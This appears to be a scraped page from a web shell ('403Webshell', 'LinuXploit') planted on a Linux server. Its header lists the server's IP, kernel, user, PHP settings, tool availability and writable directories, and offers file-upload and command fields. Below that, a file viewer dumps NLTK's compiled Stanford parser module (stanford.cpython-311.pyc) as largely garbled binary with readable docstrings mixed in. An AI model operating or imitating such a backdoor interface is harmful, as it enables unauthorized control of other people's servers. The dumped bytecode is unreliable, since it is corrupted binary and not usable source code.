403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/nltk/parse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/nltk/parse/__pycache__/stanford.cpython-311.pyc
�

 T�c�I����ddlZddlZddlZddlmZddlmZmZmZm	Z	m
Z
ddlmZddl
mZddlmZdZGd�d	e��ZGd
�de��ZGd�d
e��ZGd�de��ZdS)�N)�PIPE)�
_java_options�config_java�
find_jar_iter�find_jars_within_path�java)�ParserI��DependencyGraph)�Treez2https://nlp.stanford.edu/software/lex-parser.shtmlc�r�eZdZdZdZdZdZdZdZ							dd�Z	d�Z
dd
�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)�GenericStanfordParserz Interface to the Stanford Parserz+stanford-parser-(\d+)(\.(\d+))+-models\.jarzstanford-parser\.jarz3edu.stanford.nlp.parser.lexparser.LexicalizedParserFN�4edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz�utf8�-mx4g�c��tt|j|ddt|d���d����}tt|j|ddt|d���d����}	t
j�|��d	}
t|	gt|
��z��|_
||_||_||_
||_dS)
N)�STANFORD_PARSER�STANFORD_CORENLP�T)�env_vars�
searchpath�url�verbose�is_regexc�@�tj�|��S�N��os�path�dirname��
model_paths �5/usr/lib/python3/dist-packages/nltk/parse/stanford.py�<lambda>z0GenericStanfordParser.__init__.<locals>.<lambda><���2�7�?�?�:�#>�#>��)�key)�STANFORD_MODELSrc�@�tj�|��Srrr"s r$r%z0GenericStanfordParser.__init__.<locals>.<lambda>Ir&r'r)�maxr�_JAR�
_stanford_url�_MODEL_JAR_PATTERNrr �split�tupler�
_classpathr#�	_encoding�corenlp_options�java_options)�self�path_to_jar�path_to_models_jarr#�encodingrr4r3�stanford_jar�	model_jar�stanford_dirs           r$�__init__zGenericStanfordParser.__init__&s������	��@��!���
�
�
�?�>�
�
�
�����'�"�@��!���
�
�
�?�>�
�
�
�	� �w�}�}�\�2�2�1�5�����.C�L�.Q�.Q� Q�R�R���$���!���.���(����r'c
��g}g}g}d}|�d��D]�}|dkr�|r'|�t|����g}d}�1|jr@|�|�d�|������g}d}�x|�t|�d�|����g����g}��|�|��d}��t|��S)NFr�
T)�
splitlines�append�iter�_DOUBLE_SPACED_OUTPUT�
_make_tree�join)r5�output_�res�	cur_lines�	cur_trees�blank�lines       r$�_parse_trees_outputz)GenericStanfordParser._parse_trees_outputWs�����	��	����&�&�u�-�-�	�	�D��r�z�z��
#��J�J�t�I���/�/�/� "�I�!�E�E��/�#��$�$�T�_�_�T�Y�Y�y�5I�5I�%J�%J�K�K�K� "�I� �E�E��J�J�t�T�_�_�T�Y�Y�y�5I�5I�%J�%J�$K�L�L�M�M�M� "�I�I�� � ��&�&�&�����C�y�y�r'c
���|jd|jddd|jdddg
}|�|�|d�d	�|D����|����S)
a�
        Use StanfordParser to parse multiple sentences. Takes multiple sentences as a
        list where each sentence is a list of words.
        Each sentence will be automatically tagged with this StanfordParser instance's
        tagger.
        If whitespaces exists inside a token, then the token will be treated as
        separate tokens.

        :param sentences: Input sentences to parse
        :type sentences: list(list(str))
        :rtype: iter(iter(Tree))
        �-model�
-sentences�newline�
-outputFormat�
-tokenizedz-escaperz-edu.stanford.nlp.process.PTBEscapingProcessorr>c3�@K�|]}d�|��V��dS)� N�rD)�.0�sentences  r$�	<genexpr>z4GenericStanfordParser.parse_sents.<locals>.<genexpr>�s.����L�L�h�s�x�x��1�1�L�L�L�L�L�Lr'��_MAIN_CLASSr#�_OUTPUT_FORMATrK�_executerD�r5�	sentencesr�cmds    r$�parse_sentsz!GenericStanfordParser.parse_sentsns~��
����O��������;�
���'�'��M�M��T�Y�Y�L�L�)�L�L�L�L�L�g�
�
�
�
�	
r'c�J�t|�|g|����S)a&
        Use StanfordParser to parse a sentence. Takes a sentence as a string;
        before parsing, it will be automatically tokenized and tagged by
        the Stanford Parser.

        :param sentence: Input sentence to parse
        :type sentence: str
        :rtype: iter(Tree)
        )�next�raw_parse_sents�r5rVrs   r$�	raw_parsezGenericStanfordParser.raw_parse�s$���D�(�(�(��W�=�=�>�>�>r'c��|jd|jddd|jg}|�|�|d�|��|����S)aI
        Use StanfordParser to parse multiple sentences. Takes multiple sentences as a
        list of strings.
        Each sentence will be automatically tokenized and tagged by the Stanford Parser.

        :param sentences: Input sentences to parse
        :type sentences: list(str)
        :rtype: iter(iter(Tree))
        rMrNrOrPr>rXr\s    r$rbz%GenericStanfordParser.raw_parse_sents�sa��
����O������
���'�'��M�M�#�t�y�y��3�3�W�=�=�
�
�	
r'c�J�t|�|g|����S)a0
        Use StanfordParser to parse a sentence. Takes a sentence as a list of
        (word, tag) tuples; the sentence must have already been tokenized and
        tagged.

        :param sentence: Input sentence to parse
        :type sentence: list(tuple(str, str))
        :rtype: iter(Tree)
        )ra�tagged_parse_sentsrcs   r$�tagged_parsez"GenericStanfordParser.tagged_parse�s$���D�+�+�X�J��@�@�A�A�Ar'c����d�|jd|jddd|jdd�dd	d
dg}|�|�|d��fd
�|D����|����S)ad
        Use StanfordParser to parse multiple sentences. Takes multiple sentences
        where each sentence is a list of (word, tag) tuples.
        The sentences must have already been tokenized and tagged.

        :param sentences: Input sentences to parse
        :type sentences: list(list(tuple(str, str)))
        :rtype: iter(iter(Tree))
        �/rMrNrOrPrQz
-tagSeparatorz-tokenizerFactoryz,edu.stanford.nlp.process.WhitespaceTokenizerz-tokenizerMethod�newCoreLabelTokenizerFactoryr>c3�Z�K�|]%}d��fd�|D����V��&dS)rSc3�B�K�|]}��|��V��dSrrT)rU�tagged�
tag_separators  �r$rWzEGenericStanfordParser.tagged_parse_sents.<locals>.<genexpr>.<genexpr>�s1�����O�O�F�]�/�/��7�7�O�O�O�O�O�Or'NrT)rUrVros  �r$rWz;GenericStanfordParser.tagged_parse_sents.<locals>.<genexpr>�sX������� ��H�H�O�O�O�O�h�O�O�O�O�O������r'rX)r5r]rr^ros    @r$rgz(GenericStanfordParser.tagged_parse_sents�s�����
�����O����������:��*�
��"�'�'��M�M���	�	�����$-�������

�
�	
�	
�		
r'c���|j}|�d|g��|jr,|�|j�����d�t
��}t
|j|���tj	dd���5}t|t��r|r|�|��}|�
|��|���|jr<|�d��t#||j|t&t&���\}}n?|�|j��t#||jt&t&�	��\}}|�d
d��}|�dd��}|�|��}ddd��n#1swxYwYt1j|j��t
|d���|S)
Nz	-encodingrS)�optionsr�wbF)�mode�deleter)�	classpath�stdin�stdout�stderr)rurwrxs � s�)r2�extendr3r/rDrrr4�tempfile�NamedTemporaryFile�
isinstance�str�encode�write�flush�
_USE_STDIN�seekrr1rr@�name�replace�decoder�unlink)	r5r^�input_rr8�default_options�
input_filerwrxs	         r$r[zGenericStanfordParser._execute�s���>���
�
�K��*�+�+�+���	5��J�J�t�+�1�1�3�3�4�4�4��(�(�=�1�1��	�D�-�w�?�?�?�?��
(�d�5�
A�
A�
A�	-�Z��&�#�&�&�
1�8�
1����x�0�0�����V�$�$�$���������

�����"�"�"�!%��"�o�$���"�"�"������
�
�:�?�+�+�+�!%��4�?�4��"�"�"�����^�^�K��6�6�F��^�^�K��6�6�F��]�]�8�,�,�F�3	-�	-�	-�	-�	-�	-�	-�	-�	-�	-�	-����	-�	-�	-�	-�6	�	�*�/�"�"�"�	�O�U�;�;�;�;��
s�DF=�=G�G)NNrrFrr�F)�__name__�
__module__�__qualname__�__doc__r.r,rYr�rBr<rKr_rdrbrhrgr[rr'r$rrs�������*�*�G��"�D�G�K��J�!����I�����/)�/)�/)�/)�b���.
�
�
�
�>
?�
?�
?�
?�
�
�
�
�.
B�
B�
B�
B�%
�%
�%
�%
�N,�,�,�,�,�,r'rc�,��eZdZdZdZ�fd�Zd�Z�xZS)�StanfordParsera�
    >>> parser=StanfordParser(
    ...     model_path="edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz"
    ... ) # doctest: +SKIP

    >>> list(parser.raw_parse("the quick brown fox jumps over the lazy dog")) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('ROOT', [Tree('NP', [Tree('NP', [Tree('DT', ['the']), Tree('JJ', ['quick']), Tree('JJ', ['brown']),
    Tree('NN', ['fox'])]), Tree('NP', [Tree('NP', [Tree('NNS', ['jumps'])]), Tree('PP', [Tree('IN', ['over']),
    Tree('NP', [Tree('DT', ['the']), Tree('JJ', ['lazy']), Tree('NN', ['dog'])])])])])])]

    >>> sum([list(dep_graphs) for dep_graphs in parser.raw_parse_sents((
    ...     "the quick brown fox jumps over the lazy dog",
    ...     "the quick grey wolf jumps over the lazy fox"
    ... ))], []) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('ROOT', [Tree('NP', [Tree('NP', [Tree('DT', ['the']), Tree('JJ', ['quick']), Tree('JJ', ['brown']),
    Tree('NN', ['fox'])]), Tree('NP', [Tree('NP', [Tree('NNS', ['jumps'])]), Tree('PP', [Tree('IN', ['over']),
    Tree('NP', [Tree('DT', ['the']), Tree('JJ', ['lazy']), Tree('NN', ['dog'])])])])])]), Tree('ROOT', [Tree('NP',
    [Tree('NP', [Tree('DT', ['the']), Tree('JJ', ['quick']), Tree('JJ', ['grey']), Tree('NN', ['wolf'])]), Tree('NP',
    [Tree('NP', [Tree('NNS', ['jumps'])]), Tree('PP', [Tree('IN', ['over']), Tree('NP', [Tree('DT', ['the']),
    Tree('JJ', ['lazy']), Tree('NN', ['fox'])])])])])])]

    >>> sum([list(dep_graphs) for dep_graphs in parser.parse_sents((
    ...     "I 'm a dog".split(),
    ...     "This is my friends ' cat ( the tabby )".split(),
    ... ))], []) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('ROOT', [Tree('S', [Tree('NP', [Tree('PRP', ['I'])]), Tree('VP', [Tree('VBP', ["'m"]),
    Tree('NP', [Tree('DT', ['a']), Tree('NN', ['dog'])])])])]), Tree('ROOT', [Tree('S', [Tree('NP',
    [Tree('DT', ['This'])]), Tree('VP', [Tree('VBZ', ['is']), Tree('NP', [Tree('NP', [Tree('NP', [Tree('PRP$', ['my']),
    Tree('NNS', ['friends']), Tree('POS', ["'"])]), Tree('NN', ['cat'])]), Tree('PRN', [Tree('-LRB-', [Tree('', []),
    Tree('NP', [Tree('DT', ['the']), Tree('NN', ['tabby'])]), Tree('-RRB-', [])])])])])])])]

    >>> sum([list(dep_graphs) for dep_graphs in parser.tagged_parse_sents((
    ...     (
    ...         ("The", "DT"),
    ...         ("quick", "JJ"),
    ...         ("brown", "JJ"),
    ...         ("fox", "NN"),
    ...         ("jumped", "VBD"),
    ...         ("over", "IN"),
    ...         ("the", "DT"),
    ...         ("lazy", "JJ"),
    ...         ("dog", "NN"),
    ...         (".", "."),
    ...     ),
    ... ))],[]) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('ROOT', [Tree('S', [Tree('NP', [Tree('DT', ['The']), Tree('JJ', ['quick']), Tree('JJ', ['brown']),
    Tree('NN', ['fox'])]), Tree('VP', [Tree('VBD', ['jumped']), Tree('PP', [Tree('IN', ['over']), Tree('NP',
    [Tree('DT', ['the']), Tree('JJ', ['lazy']), Tree('NN', ['dog'])])])]), Tree('.', ['.'])])])]
    �pennc�r��tjdtd���t��j|i|��dS)NzcThe StanfordParser will be deprecated
Please use nltk.parse.corenlp.CoreNLPParser instead.���
stacklevel��warnings�warn�DeprecationWarning�superr<�r5�args�kwargs�	__class__s   �r$r<zStanfordParser.__init__GsL����
�
R���		
�	
�	
�	
�	�����$�)�&�)�)�)�)�)r'c�*�tj|��Sr)r�
fromstring�r5�results  r$rCzStanfordParser._make_treeQs����v�&�&�&r'�r�r�r�r�rZr<rC�
__classcell__�r�s@r$r�r�sY�������0�0�d�N�*�*�*�*�*�'�'�'�'�'�'�'r'r�c�,��eZdZdZdZ�fd�Zd�Z�xZS)�StanfordDependencyParsera�

    >>> dep_parser=StanfordDependencyParser(
    ...     model_path="edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz"
    ... ) # doctest: +SKIP

    >>> [parse.tree() for parse in dep_parser.raw_parse("The quick brown fox jumps over the lazy dog.")] # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('jumps', [Tree('fox', ['The', 'quick', 'brown']), Tree('dog', ['over', 'the', 'lazy'])])]

    >>> [list(parse.triples()) for parse in dep_parser.raw_parse("The quick brown fox jumps over the lazy dog.")] # doctest: +NORMALIZE_WHITESPACE +SKIP
    [[((u'jumps', u'VBZ'), u'nsubj', (u'fox', u'NN')), ((u'fox', u'NN'), u'det', (u'The', u'DT')),
    ((u'fox', u'NN'), u'amod', (u'quick', u'JJ')), ((u'fox', u'NN'), u'amod', (u'brown', u'JJ')),
    ((u'jumps', u'VBZ'), u'nmod', (u'dog', u'NN')), ((u'dog', u'NN'), u'case', (u'over', u'IN')),
    ((u'dog', u'NN'), u'det', (u'the', u'DT')), ((u'dog', u'NN'), u'amod', (u'lazy', u'JJ'))]]

    >>> sum([[parse.tree() for parse in dep_graphs] for dep_graphs in dep_parser.raw_parse_sents((
    ...     "The quick brown fox jumps over the lazy dog.",
    ...     "The quick grey wolf jumps over the lazy fox."
    ... ))], []) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('jumps', [Tree('fox', ['The', 'quick', 'brown']), Tree('dog', ['over', 'the', 'lazy'])]),
    Tree('jumps', [Tree('wolf', ['The', 'quick', 'grey']), Tree('fox', ['over', 'the', 'lazy'])])]

    >>> sum([[parse.tree() for parse in dep_graphs] for dep_graphs in dep_parser.parse_sents((
    ...     "I 'm a dog".split(),
    ...     "This is my friends ' cat ( the tabby )".split(),
    ... ))], []) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('dog', ['I', "'m", 'a']), Tree('cat', ['This', 'is', Tree('friends', ['my', "'"]), Tree('tabby', ['the'])])]

    >>> sum([[list(parse.triples()) for parse in dep_graphs] for dep_graphs in dep_parser.tagged_parse_sents((
    ...     (
    ...         ("The", "DT"),
    ...         ("quick", "JJ"),
    ...         ("brown", "JJ"),
    ...         ("fox", "NN"),
    ...         ("jumped", "VBD"),
    ...         ("over", "IN"),
    ...         ("the", "DT"),
    ...         ("lazy", "JJ"),
    ...         ("dog", "NN"),
    ...         (".", "."),
    ...     ),
    ... ))],[]) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [[((u'jumped', u'VBD'), u'nsubj', (u'fox', u'NN')), ((u'fox', u'NN'), u'det', (u'The', u'DT')),
    ((u'fox', u'NN'), u'amod', (u'quick', u'JJ')), ((u'fox', u'NN'), u'amod', (u'brown', u'JJ')),
    ((u'jumped', u'VBD'), u'nmod', (u'dog', u'NN')), ((u'dog', u'NN'), u'case', (u'over', u'IN')),
    ((u'dog', u'NN'), u'det', (u'the', u'DT')), ((u'dog', u'NN'), u'amod', (u'lazy', u'JJ'))]]

    �	conll2007c�r��tjdtd���t��j|i|��dS)NzwThe StanfordDependencyParser will be deprecated
Please use nltk.parse.corenlp.CoreNLPDependencyParser instead.r�r�r�r�s   �r$r<z!StanfordDependencyParser.__init__�sL����
�
\���		
�	
�	
�	
�	�����$�)�&�)�)�)�)�)r'c�$�t|d���S)N�root��top_relation_labelr
r�s  r$rCz#StanfordDependencyParser._make_tree�����v�&�A�A�A�Ar'r�r�s@r$r�r�Us`�������.�.�`!�N�*�*�*�*�*�B�B�B�B�B�B�Br'r�c�H��eZdZdZdZdZdZdZdZdZ	�fd�Z
dd	�Zd
�Z�xZ
S)�StanfordNeuralDependencyParserar
    >>> from nltk.parse.stanford import StanfordNeuralDependencyParser # doctest: +SKIP
    >>> dep_parser=StanfordNeuralDependencyParser(java_options='-mx4g')# doctest: +SKIP

    >>> [parse.tree() for parse in dep_parser.raw_parse("The quick brown fox jumps over the lazy dog.")] # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('jumps', [Tree('fox', ['The', 'quick', 'brown']), Tree('dog', ['over', 'the', 'lazy']), '.'])]

    >>> [list(parse.triples()) for parse in dep_parser.raw_parse("The quick brown fox jumps over the lazy dog.")] # doctest: +NORMALIZE_WHITESPACE +SKIP
    [[((u'jumps', u'VBZ'), u'nsubj', (u'fox', u'NN')), ((u'fox', u'NN'), u'det',
    (u'The', u'DT')), ((u'fox', u'NN'), u'amod', (u'quick', u'JJ')), ((u'fox', u'NN'),
    u'amod', (u'brown', u'JJ')), ((u'jumps', u'VBZ'), u'nmod', (u'dog', u'NN')),
    ((u'dog', u'NN'), u'case', (u'over', u'IN')), ((u'dog', u'NN'), u'det',
    (u'the', u'DT')), ((u'dog', u'NN'), u'amod', (u'lazy', u'JJ')), ((u'jumps', u'VBZ'),
    u'punct', (u'.', u'.'))]]

    >>> sum([[parse.tree() for parse in dep_graphs] for dep_graphs in dep_parser.raw_parse_sents((
    ...     "The quick brown fox jumps over the lazy dog.",
    ...     "The quick grey wolf jumps over the lazy fox."
    ... ))], []) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('jumps', [Tree('fox', ['The', 'quick', 'brown']), Tree('dog', ['over',
    'the', 'lazy']), '.']), Tree('jumps', [Tree('wolf', ['The', 'quick', 'grey']),
    Tree('fox', ['over', 'the', 'lazy']), '.'])]

    >>> sum([[parse.tree() for parse in dep_graphs] for dep_graphs in dep_parser.parse_sents((
    ...     "I 'm a dog".split(),
    ...     "This is my friends ' cat ( the tabby )".split(),
    ... ))], []) # doctest: +NORMALIZE_WHITESPACE +SKIP
    [Tree('dog', ['I', "'m", 'a']), Tree('cat', ['This', 'is', Tree('friends',
    ['my', "'"]), Tree('tabby', ['-LRB-', 'the', '-RRB-'])])]
    �conllz)edu.stanford.nlp.pipeline.StanfordCoreNLPz%stanford-corenlp-(\d+)(\.(\d+))+\.jarz,stanford-corenlp-(\d+)(\.(\d+))+-models\.jarTc���tjdtd���t��j|i|��|xjdz
c_dS)Nz}The StanfordNeuralDependencyParser will be deprecated
Please use nltk.parse.corenlp.CoreNLPDependencyParser instead.r�r�z(-annotators tokenize,ssplit,pos,depparse)r�r�r�r�r<r3r�s   �r$r<z'StanfordNeuralDependencyParser.__init__�sa����
�
\���		
�	
�	
�	
�	�����$�)�&�)�)�)���� J�J����r'Fc� �td���)z�
        Currently unimplemented because the neural dependency parser (and
        the StanfordCoreNLP pipeline class) doesn't support passing in pre-
        tagged tokens.
        zxtagged_parse[_sents] is not supported by StanfordNeuralDependencyParser; use parse[_sents] or raw_parse[_sents] instead.)�NotImplementedError)r5r]rs   r$rgz1StanfordNeuralDependencyParser.tagged_parse_sents�s��"�
:�
�
�	
r'c�$�t|d���S)N�ROOTr�r
r�s  r$rCz)StanfordNeuralDependencyParser._make_tree�r�r'r�)r�r�r�r�rZrYr,r.r�rBr<rgrCr�r�s@r$r�r��s����������>�N�=�K�3�D�H���J� ��	K�	K�	K�	K�	K�

�

�

�

�B�B�B�B�B�B�Br'r�)rr{r��
subprocessr�nltk.internalsrrrrr�nltk.parse.apir	�nltk.parse.dependencygraphr�	nltk.treerr-rr�r�r�rr'r$�<module>r�s���
�	�	�	�����������������������������#�"�"�"�"�"�6�6�6�6�6�6�������D�
�s�s�s�s�s�G�s�s�s�l@'�@'�@'�@'�@'�*�@'�@'�@'�F?B�?B�?B�?B�?B�4�?B�?B�?B�D?B�?B�?B�?B�?B�%:�?B�?B�?B�?B�?Br'

Youez - 2016 - github.com/yon3zu
LinuXploit